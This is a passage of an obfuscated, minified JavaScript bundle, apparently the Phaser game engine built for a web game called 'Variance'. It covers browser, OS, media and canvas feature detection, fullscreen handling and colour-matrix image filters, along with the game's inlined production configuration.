this['events']['off'](_0xbab56b['REMOVE_DATA']), this['parent'] = null; }, 'freeze': { 'get': function () { return this['_frozen']; }, 'set': function (_0x519ca8) { this['_frozen'] = !!_0x519ca8; } }, 'count': { 'get': function () { var _0x1db296 = 0x0; for (var _0x5100ec in this['list']) void 0x0 !== this['list'][_0x5100ec] && _0x1db296++; return _0x1db296; } } }); _0x1e2a28['exports'] = _0x59e148; }, 0x2354: _0x5b5755 => { _0x5b5755['exports'] = 'changedata'; }, 0x1e79: _0xe05dc4 => { _0xe05dc4['exports'] = 'changedata-'; }, 0x1309: _0x3b0bf8 => { _0x3b0bf8['exports'] = 'destroy'; }, 0x26ee: _0x286c60 => { _0x286c60['exports'] = 'removedata'; }, 0x11ea: _0xd13c31 => { _0xd13c31['exports'] = 'setdata'; }, 0x1a5c: (_0x1c25ba, _0xbfbe73, _0x380fea) => { _0x1c25ba['exports'] = { 'CHANGE_DATA': _0x380fea(0x2354), 'CHANGE_DATA_KEY': _0x380fea(0x1e79), 'DESTROY': _0x380fea(0x1309), 'REMOVE_DATA': _0x380fea(0x26ee), 'SET_DATA': _0x380fea(0x11ea) }; }, 0xbbc: (_0xb76f8b, _0x118246, _0x32d900) => { var _0x5533fd = _0x32d900(0xad8), _0xc1867c = { 'flac': !0x1, 'aac': !0x1, 'audioData': !0x1, 'dolby': !0x1, 'm4a': !0x1, 'mp3': !0x1, 'ogg': !0x1, 'opus': !0x1, 'wav': !0x1, 'webAudio': !0x1, 'webm': !0x1 }; _0xb76f8b['exports'] = (function () { if ('function' == typeof importScripts) return _0xc1867c; _0xc1867c['audioData'] = !!window['Audio'], _0xc1867c['webAudio'] = !(!window['AudioContext'] && !window['webkitAudioContext']); var _0x38c527 = document['createElement']('audio'), _0x52ead3 = !!_0x38c527['canPlayType']; try { if (_0x52ead3) { var _0x48a003 = function (_0x596ff6, _0x442982) { var _0x295fdb = _0x38c527['canPlayType']('audio/' + _0x596ff6)['replace'](/^no$/, ''); return _0x442982 ? Boolean(_0x295fdb || _0x38c527['canPlayType']('audio/' + _0x442982)['replace'](/^no$/, '')) : Boolean(_0x295fdb); }; if (_0xc1867c['ogg'] = _0x48a003('ogg;\x20codecs=\x22vorbis\x22'), _0xc1867c['opus'] = _0x48a003('ogg;\x20codecs=\x22opus\x22', 'opus'), _0xc1867c['mp3'] = _0x48a003('mpeg'), _0xc1867c['wav'] = _0x48a003('wav'), _0xc1867c['m4a'] = _0x48a003('x-m4a'), _0xc1867c['aac'] = _0x48a003('aac'), _0xc1867c['flac'] = _0x48a003('flac', 'x-flac'), _0xc1867c['webm'] = _0x48a003('webm;\x20codecs=\x22vorbis\x22'), '' !== _0x38c527['canPlayType']('audio/mp4;\x20codecs=\x22ec-3\x22')) { if (_0x5533fd['edge']) _0xc1867c['dolby'] = !0x0; else { if (_0x5533fd['safari'] && _0x5533fd['safariVersion'] >= 0x9 && /Mac OS X (\d+)_(\d+)/['test'](navigator['userAgent'])) { var _0x432c0f = parseInt(RegExp['$1'], 0xa), _0x413bcf = parseInt(RegExp['$2'], 0xa); (0xa === _0x432c0f && _0x413bcf >= 0xb || _0x432c0f > 0xa) && (_0xc1867c['dolby'] = !0x0); } } } } } catch (_0x130f87) { } return _0xc1867c; }()); }, 0xad8: (_0x2a3336, _0x31d033, _0x43a443) => { var _0x3f952d, _0x58c463 = _0x43a443(0x1453), _0xd8db00 = { 'chrome': !0x1, 'chromeVersion': 0x0, 'edge': !0x1, 'firefox': !0x1, 'firefoxVersion': 0x0, 'ie': !0x1, 'ieVersion': 0x0, 'mobileSafari': !0x1, 'opera': !0x1, 'safari': !0x1, 'safariVersion': 0x0, 'silk': !0x1, 'trident': !0x1, 'tridentVersion': 0x0, 'es2019': !0x1 }; _0x2a3336['exports'] = (_0x3f952d = navigator['userAgent'], /Edg\/\d+/['test'](_0x3f952d) ? (_0xd8db00['edge'] = !0x0, _0xd8db00['es2019'] = !0x0) : /OPR/['test'](_0x3f952d) ? (_0xd8db00['opera'] = !0x0, _0xd8db00['es2019'] = !0x0) : /Chrome\/(\d+)/['test'](_0x3f952d) && !_0x58c463['windowsPhone'] ? (_0xd8db00['chrome'] = !0x0, _0xd8db00['chromeVersion'] = parseInt(RegExp['$1'], 0xa), _0xd8db00['es2019'] = _0xd8db00['chromeVersion'] > 0x45) : /Firefox\D+(\d+)/['test'](_0x3f952d) ? (_0xd8db00['firefox'] = !0x0, _0xd8db00['firefoxVersion'] = parseInt(RegExp['$1'], 0xa), _0xd8db00['es2019'] = _0xd8db00['firefoxVersion'] > 0xa) : /AppleWebKit/['test'](_0x3f952d) && _0x58c463['iOS'] ? (_0xd8db00['mobileSafari'] = !0x0, _0xd8db00['es2019'] = !0x0) : /MSIE (\d+\.\d+);/['test'](_0x3f952d) ? (_0xd8db00['ie'] = !0x0, _0xd8db00['ieVersion'] = parseInt(RegExp['$1'], 0xa)) : /Version\/(\d+\.\d+) Safari/['test'](_0x3f952d) && !_0x58c463['windowsPhone'] ? (_0xd8db00['safari'] = !0x0, _0xd8db00['safariVersion'] = parseInt(RegExp['$1'], 0xa), _0xd8db00['es2019'] = _0xd8db00['safariVersion'] > 0xa) : /Trident\/(\d+\.\d+)(.*)rv:(\d+\.\d+)/['test'](_0x3f952d) && (_0xd8db00['ie'] = !0x0, _0xd8db00['trident'] = !0x0, _0xd8db00['tridentVersion'] = parseInt(RegExp['$1'], 0xa), _0xd8db00['ieVersion'] = parseInt(RegExp['$3'], 0xa)), /Silk/['test'](_0x3f952d) && (_0xd8db00['silk'] = !0x0), _0xd8db00); }, 0x1969: (_0x125b9a, _0xb91d28, _0xda01c5) => { var _0x3f30b4, _0x2e5be9, _0x12646d, _0x38d79a = _0xda01c5(0x1f89), _0x5dae22 = { 'supportInverseAlpha': !0x1, 'supportNewBlendModes': !0x1 }; _0x125b9a['exports'] = ('function' != typeof importScripts && void 0x0 !== document && (_0x5dae22['supportNewBlendModes'] = (_0x3f30b4 = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAABAQMAAADD8p2OAAAAA1BMVEX/', _0x2e5be9 = 'AAAACklEQVQI12NgAAAAAgAB4iG8MwAAAABJRU5ErkJggg==', (_0x12646d = new Image())['onload'] = function () { var _0x196b67 = new Image(); _0x196b67['onload'] = function () { var _0x55e3da = _0x38d79a['create2D'](_0x196b67, 0x6)['getContext']('2d', { 'willReadFrequently': !0x0 }); if (_0x55e3da['globalCompositeOperation'] = 'multiply', _0x55e3da['drawImage'](_0x12646d, 0x0, 0x0), _0x55e3da['drawImage'](_0x196b67, 0x2, 0x0), !_0x55e3da['getImageData'](0x2, 0x0, 0x1, 0x1)) return !0x1; var _0x5ec4f5 = _0x55e3da['getImageData'](0x2, 0x0, 0x1, 0x1)['data']; _0x38d79a['remove'](_0x196b67), _0x5dae22['supportNewBlendModes'] = 0xff === _0x5ec4f5[0x0] && 0x0 === _0x5ec4f5[0x1] && 0x0 === _0x5ec4f5[0x2]; }, _0x196b67['src'] = _0x3f30b4 + '/wCKxvRF' + _0x2e5be9; }, _0x12646d['src'] = _0x3f30b4 + 'AP804Oa6' + _0x2e5be9, !0x1), _0x5dae22['supportInverseAlpha'] = (function () { var _0x16f5a5 = _0x38d79a['create2D'](this, 0x2)['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x16f5a5['fillStyle'] = 'rgba(10,\x2020,\x2030,\x200.5)', _0x16f5a5['fillRect'](0x0, 0x0, 0x1, 0x1); var _0x427717 = _0x16f5a5['getImageData'](0x0, 0x0, 0x1, 0x1); if (null === _0x427717) return !0x1; _0x16f5a5['putImageData'](_0x427717, 0x1, 0x0); var _0x3b0b4d = _0x16f5a5['getImageData'](0x1, 0x0, 0x1, 0x1), _0x226c2f = _0x3b0b4d['data'][0x0] === _0x427717['data'][0x0] && _0x3b0b4d['data'][0x1] === _0x427717['data'][0x1] && _0x3b0b4d['data'][0x2] === _0x427717['data'][0x2] && _0x3b0b4d['data'][0x3] === _0x427717['data'][0x3]; return _0x38d79a['remove'](this), _0x226c2f; }())), _0x5dae22); }, 0x198f: (_0xde5ac4, _0x2308eb, _0x59b34a) => { var _0x11e870 = _0x59b34a(0x1453), _0xa6e29e = _0x59b34a(0xad8), _0xcdd0ba = _0x59b34a(0x1f89), _0xd54dd0 = { 'canvas': !0x1, 'canvasBitBltShift': null, 'file': !0x1, 'fileSystem': !0x1, 'getUserMedia': !0x0, 'littleEndian': !0x1, 'localStorage': !0x1, 'pointerLock': !0x1, 'stableSort': !0x1, 'support32bit': !0x1, 'vibration': !0x1, 'webGL': !0x1, 'worker': !0x1 }; _0xde5ac4['exports'] = (function () { if ('function' == typeof importScripts) return _0xd54dd0; _0xd54dd0['canvas'] = !!window['CanvasRenderingContext2D']; try { _0xd54dd0['localStorage'] = !!localStorage['getItem']; } catch (_0x5a7236) { _0xd54dd0['localStorage'] = !0x1; } _0xd54dd0['file'] = !!(window['File'] && window['FileReader'] && window['FileList'] && window['Blob']), _0xd54dd0['fileSystem'] = !!window['requestFileSystem']; var _0x43339c, _0x4a6d1d, _0x3399c2, _0x3af126 = !0x1; return _0xd54dd0['webGL'] = (function () { if (window['WebGLRenderingContext']) try { var _0x3c0195 = _0xcdd0ba['createWebGL'](this), _0x36349a = _0x3c0195['getContext']('webgl') || _0x3c0195['getContext']('experimental-webgl'), _0x381e25 = _0xcdd0ba['create2D'](this), _0x207c4e = _0x381e25['getContext']('2d', { 'willReadFrequently': !0x0 })['createImageData'](0x1, 0x1); return _0x3af126 = _0x207c4e['data'] instanceof Uint8ClampedArray, _0xcdd0ba['remove'](_0x3c0195), _0xcdd0ba['remove'](_0x381e25), !!_0x36349a; } catch (_0x1ed228) { return !0x1; } return !0x1; }()), _0xd54dd0['worker'] = !!window['Worker'], _0xd54dd0['pointerLock'] = 'pointerLockElement' in document || 'mozPointerLockElement' in document || 'webkitPointerLockElement' in document, navigator['getUserMedia'] = navigator['getUserMedia'] || navigator['webkitGetUserMedia'] || navigator['mozGetUserMedia'] || navigator['msGetUserMedia'] || navigator['oGetUserMedia'], window['URL'] = window['URL'] || window['webkitURL'] || window['mozURL'] || window['msURL'], _0xd54dd0['getUserMedia'] = _0xd54dd0['getUserMedia'] && !!navigator['getUserMedia'] && !!window['URL'], _0xa6e29e['firefox'] && _0xa6e29e['firefoxVersion'] < 0x15 && (_0xd54dd0['getUserMedia'] = !0x1), !_0x11e870['iOS'] && (_0xa6e29e['ie'] || _0xa6e29e['firefox'] || _0xa6e29e['chrome']) && (_0xd54dd0['canvasBitBltShift'] = !0x0), (_0xa6e29e['safari'] || _0xa6e29e['mobileSafari']) && (_0xd54dd0['canvasBitBltShift'] = !0x1), navigator['vibrate'] = navigator['vibrate'] || navigator['webkitVibrate'] || navigator['mozVibrate'] || navigator['msVibrate'], navigator['vibrate'] && (_0xd54dd0['vibration'] = !0x0), 'undefined' != typeof ArrayBuffer && 'undefined' != typeof Uint8Array && 'undefined' != typeof Uint32Array && (_0xd54dd0['littleEndian'] = (_0x43339c = new ArrayBuffer(0x4), _0x4a6d1d = new Uint8Array(_0x43339c), _0x3399c2 = new Uint32Array(_0x43339c), _0x4a6d1d[0x0] = 0xa1, _0x4a6d1d[0x1] = 0xb2, _0x4a6d1d[0x2] = 0xc3, _0x4a6d1d[0x3] = 0xd4, 0xd4c3b2a1 === _0x3399c2[0x0] || 0xa1b2c3d4 !== _0x3399c2[0x0] && null)), _0xd54dd0['support32bit'] = 'undefined' != typeof ArrayBuffer && 'undefined' != typeof Uint8ClampedArray && 'undefined' != typeof Int32Array && null !== _0xd54dd0['littleEndian'] && _0x3af126, _0xd54dd0; }()); }, 0xf52: _0x1cc3be => { var _0x25c9cb = { 'available': !0x1, 'cancel': '', 'keyboard': !0x1, 'request': '' }; _0x1cc3be['exports'] = (function () { if ('function' == typeof importScripts) return _0x25c9cb; var _0x3e5e32, _0x5ae21c = 'Fullscreen', _0x570825 = 'FullScreen', _0x4fb7d6 = ['request' + _0x5ae21c, 'request' + _0x570825, 'webkitRequest' + _0x5ae21c, 'webkitRequest' + _0x570825, 'msRequest' + _0x5ae21c, 'msRequest' + _0x570825, 'mozRequest' + _0x570825, 'mozRequest' + _0x5ae21c]; for (_0x3e5e32 = 0x0; _0x3e5e32 < _0x4fb7d6['length']; _0x3e5e32++)if (document['documentElement'][_0x4fb7d6[_0x3e5e32]]) { _0x25c9cb['available'] = !0x0, _0x25c9cb['request'] = _0x4fb7d6[_0x3e5e32]; break; } var _0x17040c = ['cancel' + _0x570825, 'exit' + _0x5ae21c, 'webkitCancel' + _0x570825, 'webkitExit' + _0x5ae21c, 'msCancel' + _0x570825, 'msExit' + _0x5ae21c, 'mozCancel' + _0x570825, 'mozExit' + _0x5ae21c]; if (_0x25c9cb['available']) { for (_0x3e5e32 = 0x0; _0x3e5e32 < _0x17040c['length']; _0x3e5e32++)if (document[_0x17040c[_0x3e5e32]]) { _0x25c9cb['cancel'] = _0x17040c[_0x3e5e32]; break; } } return window['Element'] && Element['ALLOW_KEYBOARD_INPUT'] && !/ Version\/5\.1(?:\.\d+)? Safari\//['test'](navigator['userAgent']) && (_0x25c9cb['keyboard'] = !0x0), Object['defineProperty'](_0x25c9cb, 'active', { 'get': function () { return !!(document['fullscreenElement'] || document['webkitFullscreenElement'] || document['mozFullScreenElement'] || document['msFullscreenElement']); } }), _0x25c9cb; }()); }, 0x5ae: (_0x326587, _0x4574f3, _0x4246c7) => { var _0x44d2b4 = _0x4246c7(0xad8), _0x57fd4 = { 'gamepads': !0x1, 'mspointer': !0x1, 'touch': !0x1, 'wheelEvent': null }; _0x326587['exports'] = ('function' == typeof importScripts || (('ontouchstart' in document['documentElement'] || navigator['maxTouchPoints'] && navigator['maxTouchPoints'] >= 0x1) && (_0x57fd4['touch'] = !0x0), (navigator['msPointerEnabled'] || navigator['pointerEnabled']) && (_0x57fd4['mspointer'] = !0x0), navigator['getGamepads'] && (_0x57fd4['gamepads'] = !0x0), 'onwheel' in window || _0x44d2b4['ie'] && 'WheelEvent' in window ? _0x57fd4['wheelEvent'] = 'wheel' : 'onmousewheel' in window ? _0x57fd4['wheelEvent'] = 'mousewheel' : _0x44d2b4['firefox'] && 'MouseScrollEvent' in window && (_0x57fd4['wheelEvent'] = 'DOMMouseScroll')), _0x57fd4); }, 0x1453: _0x55c290 => { var _0x4342c7 = { 'android': !0x1, 'chromeOS': !0x1, 'cordova': !0x1, 'crosswalk': !0x1, 'desktop': !0x1, 'ejecta': !0x1, 'electron': !0x1, 'iOS': !0x1, 'iOSVersion': 0x0, 'iPad': !0x1, 'iPhone': !0x1, 'kindle': !0x1, 'linux': !0x1, 'macOS': !0x1, 'node': !0x1, 'nodeWebkit': !0x1, 'pixelRatio': 0x1, 'webApp': !0x1, 'windows': !0x1, 'windowsPhone': !0x1 }; _0x55c290['exports'] = (function () { if ('function' == typeof importScripts) return _0x4342c7; var _0x2ce501 = navigator['userAgent']; /Windows/['test'](_0x2ce501) ? _0x4342c7['windows'] = !0x0 : /Mac OS/['test'](_0x2ce501) && !/like Mac OS/['test'](_0x2ce501) ? navigator['maxTouchPoints'] && navigator['maxTouchPoints'] > 0x2 ? (_0x4342c7['iOS'] = !0x0, _0x4342c7['iPad'] = !0x0, navigator['appVersion']['match'](/Version\/(\d+)/), _0x4342c7['iOSVersion'] = parseInt(RegExp['$1'], 0xa)) : _0x4342c7['macOS'] = !0x0 : /Android/['test'](_0x2ce501) ? _0x4342c7['android'] = !0x0 : /Linux/['test'](_0x2ce501) ? _0x4342c7['linux'] = !0x0 : /iP[ao]d|iPhone/i['test'](_0x2ce501) ? (_0x4342c7['iOS'] = !0x0, navigator['appVersion']['match'](/OS (\d+)/), _0x4342c7['iOSVersion'] = parseInt(RegExp['$1'], 0xa), _0x4342c7['iPhone'] = -0x1 !== _0x2ce501['toLowerCase']()['indexOf']('iphone'), _0x4342c7['iPad'] = -0x1 !== _0x2ce501['toLowerCase']()['indexOf']('ipad')) : /Kindle/['test'](_0x2ce501) || /\bKF[A-Z][A-Z]+/['test'](_0x2ce501) || /Silk.*Mobile Safari/['test'](_0x2ce501) ? _0x4342c7['kindle'] = !0x0 : /CrOS/['test'](_0x2ce501) && (_0x4342c7['chromeOS'] = !0x0), (/Windows Phone/i['test'](_0x2ce501) || /IEMobile/i['test'](_0x2ce501)) && (_0x4342c7['android'] = !0x1, _0x4342c7['iOS'] = !0x1, _0x4342c7['macOS'] = !0x1, _0x4342c7['windows'] = !0x0, _0x4342c7['windowsPhone'] = !0x0); var _0x57dc21 = /Silk/['test'](_0x2ce501); return (_0x4342c7['windows'] || _0x4342c7['macOS'] || _0x4342c7['linux'] && !_0x57dc21 || _0x4342c7['chromeOS']) && (_0x4342c7['desktop'] = !0x0), (_0x4342c7['windowsPhone'] || /Windows NT/i['test'](_0x2ce501) && /Touch/i['test'](_0x2ce501)) && (_0x4342c7['desktop'] = !0x1), navigator['standalone'] && (_0x4342c7['webApp'] = !0x0), 'function' != typeof importScripts && (void 0x0 !== window['cordova'] && (_0x4342c7['cordova'] = !0x0), void 0x0 !== window['ejecta'] && (_0x4342c7['ejecta'] = !0x0)), { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions'] && { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['node'] && (_0x4342c7['node'] = !0x0), _0x4342c7['node'] && 'object' == typeof { 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions'] && (_0x4342c7['nodeWebkit'] = !!{ 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['node-webkit'], _0x4342c7['electron'] = !!{ 'env': { 'MODE': 'production', 'VARIANCE_IFRAME_PARENT_URL': 'https://playvariance.com', 'VARIANCE_API_URL': 'https://api.realmverse.gg/app/variance', 'VARIANCE_BUNDLE_FILENAME': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9.phaserpackage', 'VERSION': '0.34.30', 'COMMIT_HASH': 'e776dc6d3f2822f8319c366f8bf1e009a0c7f9e9' } }['versions']['electron']), /Crosswalk/['test'](_0x2ce501) && (_0x4342c7['crosswalk'] = !0x0), _0x4342c7['pixelRatio'] = window['devicePixelRatio'] || 0x1, _0x4342c7; }()); }, 0x853: (_0x34a1b0, _0x70e85d, _0x51d822) => { var _0x8e2cac = _0x51d822(0x11f5), _0x23b229 = { 'h264': !0x1, 'hls': !0x1, 'mp4': !0x1, 'm4v': !0x1, 'ogg': !0x1, 'vp9': !0x1, 'webm': !0x1, 'hasRequestVideoFrame': !0x1 }; _0x34a1b0['exports'] = (function () { if ('function' == typeof importScripts) return _0x23b229; var _0x6bd644 = document['createElement']('video'), _0x1a9eda = !!_0x6bd644['canPlayType'], _0x2efc29 = /^no$/; try { _0x1a9eda && (_0x6bd644['canPlayType']('video/ogg;\x20codecs=\x22theora\x22')['replace'](_0x2efc29, '') && (_0x23b229['ogg'] = !0x0), _0x6bd644['canPlayType']('video/mp4;\x20codecs=\x22avc1.42E01E\x22')['replace'](_0x2efc29, '') && (_0x23b229['h264'] = !0x0, _0x23b229['mp4'] = !0x0), _0x6bd644['canPlayType']('video/x-m4v')['replace'](_0x2efc29, '') && (_0x23b229['m4v'] = !0x0), _0x6bd644['canPlayType']('video/webm;\x20codecs=\x22vp8,\x20vorbis\x22')['replace'](_0x2efc29, '') && (_0x23b229['webm'] = !0x0), _0x6bd644['canPlayType']('video/webm;\x20codecs=\x22vp9\x22')['replace'](_0x2efc29, '') && (_0x23b229['vp9'] = !0x0), _0x6bd644['canPlayType']('application/x-mpegURL;\x20codecs=\x22avc1.42E01E\x22')['replace'](_0x2efc29, '') && (_0x23b229['hls'] = !0x0)); } catch (_0x195b69) { } return _0x6bd644['parentNode'] && _0x6bd644['parentNode']['removeChild'](_0x6bd644), _0x23b229['getVideoURL'] = function (_0x56309b) { Array['isArray'](_0x56309b) || (_0x56309b = [_0x56309b]); for (var _0x56a187 = 0x0; _0x56a187 < _0x56309b['length']; _0x56a187++) { var _0x8dbdbf, _0x2f61da = _0x8e2cac(_0x56309b[_0x56a187], 'url', _0x56309b[_0x56a187]); if (0x0 === _0x2f61da['indexOf']('blob:')) return { 'url': _0x2f61da, 'type': '' }; if (_0x8dbdbf = 0x0 === _0x2f61da['indexOf']('data:') ? _0x2f61da['split'](',')[0x0]['match'](/\/(.*?);/) : _0x2f61da['match'](/\.([a-zA-Z0-9]+)($|\?)/), _0x8dbdbf = _0x8e2cac(_0x56309b[_0x56a187], 'type', _0x8dbdbf ? _0x8dbdbf[0x1] : '')['toLowerCase'](), _0x23b229[_0x8dbdbf]) return { 'url': _0x2f61da, 'type': _0x8dbdbf }; } return null; }, _0x23b229; }()); }, 0x248c: (_0x1562d2, _0x1898f3, _0x3f65bf) => { _0x1562d2['exports'] = { 'os': _0x3f65bf(0x1453), 'browser': _0x3f65bf(0xad8), 'features': _0x3f65bf(0x198f), 'input': _0x3f65bf(0x5ae), 'audio': _0x3f65bf(0xbbc), 'video': _0x3f65bf(0x853), 'fullscreen': _0x3f65bf(0xf52), 'canvasFeatures': _0x3f65bf(0x1969) }; }, 0x1636: (_0x29a0bf, _0x34afcc, _0x4d5f48) => { var _0xdd74c9 = _0x4d5f48(0x1d31), _0x2e1708 = new Float32Array(0x14), _0x5ee795 = new _0xdd74c9({ 'initialize': function () { this['_matrix'] = new Float32Array(0x14), this['alpha'] = 0x1, this['_dirty'] = !0x0, this['_data'] = new Float32Array(0x14), this['reset'](); }, 'set': function (_0x8e3aeb) { return this['_matrix']['set'](_0x8e3aeb), this['_dirty'] = !0x0, this; }, 'reset': function () { var _0x371615 = this['_matrix']; return _0x371615['fill'](0x0), _0x371615[0x0] = 0x1, _0x371615[0x6] = 0x1, _0x371615[0xc] = 0x1, _0x371615[0x12] = 0x1, this['alpha'] = 0x1, this['_dirty'] = !0x0, this; }, 'getData': function () { var _0x1f6344 = this['_data']; return this['_dirty'] && (_0x1f6344['set'](this['_matrix']), _0x1f6344[0x4] /= 0xff, _0x1f6344[0x9] /= 0xff, _0x1f6344[0xe] /= 0xff, _0x1f6344[0x13] /= 0xff, this['_dirty'] = !0x1), _0x1f6344; }, 'brightness': function (_0x12bf50, _0x43c6ea) { void 0x0 === _0x12bf50 && (_0x12bf50 = 0x0), void 0x0 === _0x43c6ea && (_0x43c6ea = !0x1); var _0x1b7bcb = _0x12bf50; return this['multiply']([_0x1b7bcb, 0x0, 0x0, 0x0, 0x0, 0x0, _0x1b7bcb, 0x0, 0x0, 0x0, 0x0, 0x0, _0x1b7bcb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x43c6ea); }, 'saturate': function (_0x2c4ca3, _0x5e9bdf) { void 0x0 === _0x2c4ca3 && (_0x2c4ca3 = 0x0), void 0x0 === _0x5e9bdf && (_0x5e9bdf = !0x1); var _0x547a20 = 0x2 * _0x2c4ca3 / 0x3 + 0x1, _0x40df6f = -0.5 * (_0x547a20 - 0x1); return this['multiply']([_0x547a20, _0x40df6f, _0x40df6f, 0x0, 0x0, _0x40df6f, _0x547a20, _0x40df6f, 0x0, 0x0, _0x40df6f, _0x40df6f, _0x547a20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5e9bdf); }, 'desaturate': function (_0x4c813c) { return void 0x0 === _0x4c813c && (_0x4c813c = !0x1), this['saturate'](-0x1, _0x4c813c); }, 'hue': function (_0x214197, _0x45a413) { void 0x0 === _0x214197 && (_0x214197 = 0x0), void 0x0 === _0x45a413 && (_0x45a413 = !0x1), _0x214197 = _0x214197 / 0xb4 * Math['PI']; var _0x396610 = Math['cos'](_0x214197), _0x20b477 = Math['sin'](_0x214197), _0x4e7057 = 0.213, _0x4f87a2 = 0.715, _0xe52002 = 0.072; return this['multiply']([_0x4e7057 + 0.787 * _0x396610 + _0x20b477 * -_0x4e7057, _0x4f87a2 + _0x396610 * -_0x4f87a2 + _0x20b477 * -_0x4f87a2, _0xe52002 + _0x396610 * -_0xe52002 + 0.928 * _0x20b477, 0x0, 0x0, _0x4e7057 + _0x396610 * -_0x4e7057 + 0.143 * _0x20b477, _0x4f87a2 + _0x396610 * (0x1 - _0x4f87a2) + 0.14 * _0x20b477, _0xe52002 + _0x396610 * -_0xe52002 + -0.283 * _0x20b477, 0x0, 0x0, _0x4e7057 + _0x396610 * -_0x4e7057 + -0.787 * _0x20b477, _0x4f87a2 + _0x396610 * -_0x4f87a2 + _0x20b477 * _0x4f87a2, _0xe52002 + 0.928 * _0x396610 + _0x20b477 * _0xe52002, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x45a413); }, 'grayscale': function (_0x1d04ef, _0x2fcb59) { return void 0x0 === _0x1d04ef && (_0x1d04ef = 0x1), void 0x0 === _0x2fcb59 && (_0x2fcb59 = !0x1), this['saturate'](-_0x1d04ef, _0x2fcb59); }, 'blackWhite': function (_0x33a9f4) { return void 0x0 === _0x33a9f4 && (_0x33a9f4 = !0x1), this['multiply'](_0x5ee795['BLACK_WHITE'], _0x33a9f4); }, 'contrast': function (_0x1d7d87, _0x381475) { void 0x0 === _0x1d7d87 && (_0x1d7d87 = 0x0), void 0x0 === _0x381475 && (_0x381475 = !0x1); var _0x145838 = _0x1d7d87 + 0x1, _0xd67c83 = -0.5 * (_0x145838 - 0x1); return this['multiply']([_0x145838, 0x0, 0x0, 0x0, _0xd67c83, 0x0, _0x145838, 0x0, 0x0, _0xd67c83, 0x0, 0x0, _0x145838, 0x0, _0xd67c83, 0x0, 0x0, 0x0, 0x1, 0x0], _0x381475); }, 'negative': function (_0x3e7b03) { return void 0x0 === _0x3e7b03 && (_0x3e7b03 = !0x1), this['multiply'](_0x5ee795['NEGATIVE'], _0x3e7b03); }, 'desaturateLuminance': function (_0x174e5b) { return void 0x0 === _0x174e5b && (_0x174e5b = !0x1), this['multiply'](_0x5ee795['DESATURATE_LUMINANCE'], _0x174e5b); }, 'sepia': function (_0x155796) { return void 0x0 === _0x155796 && (_0x155796 = !0x1), this['multiply'](_0x5ee795['SEPIA'], _0x155796); }, 'night': function (_0x569832, _0x41c31e) { return void 0x0 === _0x569832 && (_0x569832 = 0.1), void 0x0 === _0x41c31e && (_0x41c31e = !0x1), this['multiply']([-0x2 * _0x569832, -_0x569832, 0x0, 0x0, 0x0, -_0x569832, 0x0, _0x569832, 0x0, 0x0, 0x0, _0x569832, 0x2 * _0x569832, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x41c31e); }, 'lsd': function (_0x261229) { return void 0x0 === _0x261229 && (_0x261229 = !0x1), this['multiply'](_0x5ee795['LSD'], _0x261229); }, 'brown': function (_0x5607f9) { return void 0x0 === _0x5607f9 && (_0x5607f9 = !0x1), this['multiply'](_0x5ee795['BROWN'], _0x5607f9); }, 'vintagePinhole': function (_0x3d77f9) { return void 0x0 === _0x3d77f9 && (_0x3d77f9 = !0x1), this['multiply'](_0x5ee795['VINTAGE'], _0x3d77f9); }, 'kodachrome': function (_0x3790e0) { return void 0x0 === _0x3790e0 && (_0x3790e0 = !0x1), this['multiply'](_0x5ee795['KODACHROME'], _0x3790e0); }, 'technicolor': function (_0x3c3793) { return void 0x0 === _0x3c3793 && (_0x3c3793 = !0x1), this['multiply'](_0x5ee795['TECHNICOLOR'], _0x3c3793); }, 'polaroid': function (_0x46231a) { return void 0x0 === _0x46231a && (_0x46231a = !0x1), this['multiply'](_0x5ee795['POLAROID'], _0x46231a); }, 'shiftToBGR': function (_0x3f3a26) { return void 0x0 === _0x3f3a26 && (_0x3f3a26 = !0x1), this['multiply'](_0x5ee795['SHIFT_BGR'], _0x3f3a26); }, 'multiply': function (_0x2a4390, _0x36e46b) { void 0x0 === _0x36e46b && (_0x36e46b = !0x1), _0x36e46b || this['reset'](); var _0x263eb2 = this['_matrix'], _0x4755cc = _0x2e1708; return _0x4755cc['set'](_0x263eb2), _0x263eb2['set']([_0x4755cc[0x0] * _0x2a4390[0x0] + _0x4755cc[0x1] * _0x2a4390[0x5] + _0x4755cc[0x2] * _0x2a4390[0xa] + _0x4755cc[0x3] * _0x2a4390[0xf], _0x4755cc[0x0] * _0x2a4390[0x1] + _0x4755cc[0x1] * _0x2a4390[0x6] + _0x4755cc[0x2] * _0x2a4390[0xb] + _0x4755cc[0x3] * _0x2a4390[0x10], _0x4755cc[0x0] * 